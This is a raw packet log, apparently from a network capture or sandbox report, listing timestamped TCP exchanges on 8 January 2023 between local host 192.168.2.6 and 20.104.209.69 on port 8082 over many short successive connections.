Jan 8, 2023 16:08:23.492959976 CET	49896	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.607418060 CET	8082	49896	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.607568979 CET	49896	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.608073950 CET	49896	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.722070932 CET	8082	49896	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.725799084 CET	8082	49896	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.725848913 CET	8082	49896	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.725889921 CET	49896	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.725945950 CET	8082	49896	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.726013899 CET	49896	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.726027966 CET	49896	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.739801884 CET	49896	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:23.854825974 CET	8082	49896	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:23.939852953 CET	49897	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:24.054516077 CET	8082	49897	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:24.054662943 CET	49897	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:24.055084944 CET	49897	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:24.169042110 CET	8082	49897	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:24.173640966 CET	8082	49897	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:24.173682928 CET	8082	49897	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:24.173707962 CET	8082	49897	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:24.173803091 CET	49897	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:24.173878908 CET	49897	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:24.645349979 CET	49897	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:24.760113001 CET	8082	49897	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:24.806607962 CET	49898	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:24.921324968 CET	8082	49898	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:24.921575069 CET	49898	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:24.970159054 CET	49898	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:25.084583998 CET	8082	49898	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:25.088120937 CET	8082	49898	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:25.088182926 CET	8082	49898	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:25.088232040 CET	8082	49898	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:25.088368893 CET	49898	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:25.088370085 CET	49898	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:25.733969927 CET	49898	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:25.848146915 CET	8082	49898	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.230344057 CET	49899	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.344791889 CET	8082	49899	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.344993114 CET	49899	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.370137930 CET	49899	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.484503031 CET	8082	49899	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.488811016 CET	8082	49899	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.488876104 CET	8082	49899	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.488934040 CET	8082	49899	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.488965988 CET	49899	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.489006996 CET	49899	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.490761042 CET	49899	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.506032944 CET	49899	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.621678114 CET	8082	49899	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.633224010 CET	49900	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.747838974 CET	8082	49900	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.747957945 CET	49900	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.751940966 CET	49900	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.866480112 CET	8082	49900	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.871011972 CET	8082	49900	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.871073008 CET	8082	49900	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.871104956 CET	8082	49900	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:26.871109009 CET	49900	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.871150017 CET	49900	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.871169090 CET	49900	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.880635977 CET	49900	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:26.994652033 CET	8082	49900	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.041167974 CET	49901	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.155666113 CET	8082	49901	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.158616066 CET	49901	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.162117958 CET	49901	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.276272058 CET	8082	49901	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.280298948 CET	8082	49901	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.280342102 CET	8082	49901	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.280363083 CET	8082	49901	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.280385971 CET	49901	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.280427933 CET	49901	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.280436993 CET	49901	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.288683891 CET	49901	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.402918100 CET	8082	49901	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.417334080 CET	49902	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.531718016 CET	8082	49902	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.534504890 CET	49902	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.535819054 CET	49902	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.649858952 CET	8082	49902	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.654014111 CET	8082	49902	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.654050112 CET	8082	49902	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.654124022 CET	8082	49902	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.654453039 CET	49902	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.673392057 CET	49902	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.787975073 CET	8082	49902	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.806932926 CET	49903	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.921185017 CET	8082	49903	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:27.921525002 CET	49903	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:27.922538042 CET	49903	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.036736012 CET	8082	49903	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.041050911 CET	8082	49903	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.041100025 CET	8082	49903	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.041127920 CET	8082	49903	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.041199923 CET	49903	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.041244984 CET	49903	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.054290056 CET	49903	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.168667078 CET	8082	49903	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.181646109 CET	49904	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.296878099 CET	8082	49904	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.297029018 CET	49904	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.297692060 CET	49904	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.411808968 CET	8082	49904	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.416341066 CET	8082	49904	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.416395903 CET	8082	49904	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.416423082 CET	8082	49904	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.416692972 CET	49904	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.416834116 CET	49904	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.431582928 CET	49904	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.546174049 CET	8082	49904	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.584305048 CET	49905	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.698681116 CET	8082	49905	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.698879004 CET	49905	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.699373007 CET	49905	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.813882113 CET	8082	49905	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.817621946 CET	8082	49905	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.817662001 CET	8082	49905	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.817738056 CET	8082	49905	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.817950964 CET	49905	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.817950964 CET	49905	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.833981991 CET	49905	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:28.948669910 CET	8082	49905	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:28.966203928 CET	49906	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.080610991 CET	8082	49906	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.080851078 CET	49906	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.082711935 CET	49906	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.196875095 CET	8082	49906	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.200400114 CET	8082	49906	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.200445890 CET	8082	49906	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.200470924 CET	8082	49906	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.200556993 CET	49906	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.200598955 CET	49906	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.222338915 CET	49906	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.336437941 CET	8082	49906	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.356920004 CET	49907	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.471323967 CET	8082	49907	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.471446991 CET	49907	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.471956968 CET	49907	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.585853100 CET	8082	49907	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.590034962 CET	8082	49907	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.590070963 CET	8082	49907	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.590142965 CET	49907	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.590178967 CET	49907	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.590256929 CET	8082	49907	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.590322971 CET	49907	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.599828005 CET	49907	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.713835001 CET	8082	49907	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.729213953 CET	49908	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.843475103 CET	8082	49908	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.843616009 CET	49908	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.844181061 CET	49908	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.958062887 CET	8082	49908	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.962928057 CET	8082	49908	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.962986946 CET	8082	49908	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.963004112 CET	8082	49908	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:29.963121891 CET	49908	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:29.976844072 CET	49908	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.091171026 CET	8082	49908	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.118141890 CET	49909	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.232851982 CET	8082	49909	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.234827042 CET	49909	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.235311985 CET	49909	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.349225998 CET	8082	49909	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.354886055 CET	8082	49909	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.354914904 CET	8082	49909	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.354931116 CET	8082	49909	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.354974985 CET	49909	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.355042934 CET	49909	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.367861032 CET	49909	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.482028008 CET	8082	49909	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.502469063 CET	49910	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.617232084 CET	8082	49910	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.618746042 CET	49910	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.619589090 CET	49910	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.733719110 CET	8082	49910	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.738591909 CET	8082	49910	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.738662958 CET	8082	49910	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.738856077 CET	49910	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.739865065 CET	8082	49910	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.742132902 CET	49910	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.761686087 CET	49910	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:30.875941992 CET	8082	49910	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:30.902648926 CET	49911	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.016994953 CET	8082	49911	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.017229080 CET	49911	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.018543005 CET	49911	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.132405043 CET	8082	49911	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.137254000 CET	8082	49911	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.137284040 CET	8082	49911	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.137300014 CET	8082	49911	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.137454987 CET	49911	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.148926973 CET	49911	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.262996912 CET	8082	49911	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.305325031 CET	49912	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.419941902 CET	8082	49912	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.420228958 CET	49912	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.422372103 CET	49912	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.536515951 CET	8082	49912	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.540651083 CET	8082	49912	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.540697098 CET	8082	49912	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.540736914 CET	49912	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.540779114 CET	49912	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.540889025 CET	8082	49912	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.540937901 CET	49912	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.549783945 CET	49912	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.663625002 CET	8082	49912	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.686420918 CET	49913	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.801132917 CET	8082	49913	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.801378012 CET	49913	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.801888943 CET	49913	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.915939093 CET	8082	49913	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.920118093 CET	8082	49913	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.920160055 CET	8082	49913	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.920234919 CET	8082	49913	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:31.920406103 CET	49913	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.920406103 CET	49913	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:31.933195114 CET	49913	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.047353029 CET	8082	49913	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.074744940 CET	49914	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.189814091 CET	8082	49914	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.190309048 CET	49914	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.191026926 CET	49914	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.305488110 CET	8082	49914	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.310376883 CET	8082	49914	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.310416937 CET	8082	49914	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.310437918 CET	8082	49914	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.310597897 CET	49914	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.324892998 CET	49914	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.439253092 CET	8082	49914	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.447376013 CET	49915	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.561892033 CET	8082	49915	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.562026978 CET	49915	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.563079119 CET	49915	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.677227974 CET	8082	49915	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.681500912 CET	8082	49915	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.681540012 CET	8082	49915	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.681561947 CET	8082	49915	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.681637049 CET	49915	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.681675911 CET	49915	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.694556952 CET	49915	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.808888912 CET	8082	49915	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.854839087 CET	49916	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.970093966 CET	8082	49916	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:32.970200062 CET	49916	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:32.970901966 CET	49916	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.084964037 CET	8082	49916	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.089098930 CET	8082	49916	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.089129925 CET	8082	49916	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.089201927 CET	49916	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.089277983 CET	8082	49916	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.089325905 CET	49916	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.098789930 CET	49916	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.213037968 CET	8082	49916	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.231676102 CET	49917	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.346725941 CET	8082	49917	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.346939087 CET	49917	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.347843885 CET	49917	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.463085890 CET	8082	49917	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.468055010 CET	8082	49917	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.468110085 CET	8082	49917	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.468128920 CET	8082	49917	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.468223095 CET	49917	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.468265057 CET	49917	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.498209953 CET	49917	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.612700939 CET	8082	49917	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.634757996 CET	49918	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.749936104 CET	8082	49918	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.750984907 CET	49918	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.752799988 CET	49918	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.866868973 CET	8082	49918	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.871258974 CET	8082	49918	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.871308088 CET	8082	49918	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.871407986 CET	49918	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.871417999 CET	8082	49918	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:33.871678114 CET	49918	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.885185003 CET	49918	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:33.999556065 CET	8082	49918	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.017005920 CET	49919	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.131408930 CET	8082	49919	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.131685019 CET	49919	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.132224083 CET	49919	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.246145964 CET	8082	49919	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.249613047 CET	8082	49919	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.249659061 CET	8082	49919	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.249682903 CET	8082	49919	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.249785900 CET	49919	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.249818087 CET	49919	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.268759966 CET	49919	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.382971048 CET	8082	49919	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.401233912 CET	49920	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.515799999 CET	8082	49920	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.516428947 CET	49920	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.518647909 CET	49920	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.633121967 CET	8082	49920	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.637414932 CET	8082	49920	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.637448072 CET	8082	49920	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.637783051 CET	49920	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.638670921 CET	8082	49920	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.638890028 CET	49920	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.652597904 CET	49920	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.766932964 CET	8082	49920	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.781733990 CET	49921	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.896728992 CET	8082	49921	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:34.896990061 CET	49921	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:34.903080940 CET	49921	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.017379999 CET	8082	49921	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.022093058 CET	8082	49921	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.022140026 CET	8082	49921	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.022159100 CET	8082	49921	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.022300005 CET	49921	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.031613111 CET	49921	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.145832062 CET	8082	49921	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.170252085 CET	49922	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.285446882 CET	8082	49922	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.285979033 CET	49922	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.286760092 CET	49922	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.401473045 CET	8082	49922	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.404289007 CET	8082	49922	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.404314041 CET	8082	49922	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.404530048 CET	49922	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.404783010 CET	8082	49922	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.406732082 CET	49922	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.415965080 CET	49922	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.530266047 CET	8082	49922	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.558104038 CET	49923	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.672740936 CET	8082	49923	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.673031092 CET	49923	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.682395935 CET	49923	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.796483040 CET	8082	49923	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.802280903 CET	8082	49923	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.802323103 CET	8082	49923	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.802351952 CET	8082	49923	20.104.209.69	192.168.2.6
